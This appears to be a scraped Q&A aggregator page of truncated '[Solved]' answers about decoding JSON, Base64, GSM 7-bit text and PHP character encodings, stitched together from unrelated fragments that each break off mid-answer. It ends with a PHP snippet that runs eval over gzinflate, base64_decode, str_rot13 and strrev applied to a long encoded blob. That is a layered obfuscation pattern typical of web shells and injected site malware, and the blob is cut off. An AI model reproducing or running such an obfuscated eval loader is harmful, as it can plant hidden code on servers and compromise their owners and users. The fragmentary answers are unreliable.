[Solved] how do json decode in php?
PHP’s JSON functions are documented here: http://us3.php.net/json The json_decode() function may be especially useful: http://us3.php.net/manual/en/function.json-decode.php solved how do json decode in php?
PHP’s JSON functions are documented here: http://us3.php.net/json The json_decode() function may be especially useful: http://us3.php.net/manual/en/function.json-decode.php solved how do json decode in php?
That looks like a fragment of a JSON document with Cyrillic text. solved How to identify Encoding [closed]
It looks like you have to reverse the string and then decode as Base64: This part: NjcwODI4MjEjODE2NjY4NTcxMjI4ODcxMTE2NTcxMTgxMDk3OTY1NzYxMDQ1MzEw NjExNjk5MTE5NTYxMDM1Nzc1NTI3ODQ5ODgxMTYxMDI5OTExNDc1MTE2MTAwNTA1 NzUxMTAwODg1Mzk5NzU3OTg2 Translates to: 67082821#816668571228871116571181097965761045310611699119561035775527849881161029911475116100505751100885399757986 Since it returns all digits, except for one hash, it is highly probable that this is how it should be decoded. The last part has some problems, first because it does not have … Read more
class GSM7BitDecoder { // Basic Character Set private const string BASIC_SET = “@£$¥èéùìòÇ\nØø\rÅåΔ_ΦΓΛΩΠΨΣΘΞ\x1bÆæßÉ !\”#¤%&'()*+,-./0123456789:;<=>?” + “¡ABCDEFGHIJKLMNOPQRSTUVWXYZÄÖÑܧ¿abcdefghijklmnopqrstuvwxyzäöñüà”; // Basic Character Set Extension private const string EXTENSION_SET = “““““““““““^“““““““““`{}““`\\““““““[~]`” + “|““““““““““““““““““€“““““““““““““”; string[] BASIC_SET_ARRAY = BASIC_SET.Select(x => x.ToString()).ToArray(); string[] EXTENSION_SET_ARRAY = EXTENSION_SET.Select(x => x.ToString()).ToArray(); enum circle { Start=1, Complete=8 } string GetChar(string bin) { try { if (Convert.ToInt32(bin, … Read more
Look at the data structure that you are getting back. It’s a dictionary that contains a list of dictionaries. You can access the list using the ‘results’ key: l = r.json()[‘results’] From there the dictionary containing the item you are after is the first item of the list, so: d = l[0] And the specific … Read more
/* package whatever; // don’t place package name! */ import java.util.*; import java.lang.*; import java.io.*; import javax.xml.bind.DatatypeConverter; /* Name of the class has to be “Main” only if the class is public. */ class Ideone { public static void main (String[] args) throws java.lang.Exception { byte[] bytes = DatatypeConverter.parseBase64Binary(“CEwcBxcZHAAYSFJOWl4UGQoTAF1VU0wMHRgWHBIMGhdTWkNTTAoBAB8cHg4LVVhaXhYNCR0GDgpU S1VSUxMXEBkKFh0YFRZMQ1JTGxobAgoEERccHR9IUk5aXgYFAx0XERwXTENSUwgYEQkGBgddWUlL SAEVHBxUR09VEhUWVEtVUlMNEB1KSA8=”); String pass = “Username”; … Read more
You’d better use other frameworks other than OpenCV. OpenCV is extremely heavy for this kind of job. It’s mainly focused on image processing. Maybe you can use OpenImageIO, freeimage or other libs. You can refer to these posts: Reading an image file in C/C++ https://products.fileformat.com/image/cpp/openimageio solved How to build opencv that only support decode jpeg?
I found the answer! It’s inspired by this answer $title = “Hunting, Tactical & Outdoor Optics eCommerce Store ΓÇô $595,000 ΓÇö SOLD”; $title = str_replace(html_entity_decode(‘–’, ENT_COMPAT, ‘UTF-8’), ‘-‘, $title); $title = str_replace(html_entity_decode(‘—’, ENT_COMPAT, ‘UTF-8’), ‘-‘, $title); Replacing the character right away won’t work. html_entity_decode is definitely needed. solved PHP – Convert ΓÇô to dash
<?php $code = <<<CODE eval(gzinflate(base64_decode(str_rot13(strrev(‘==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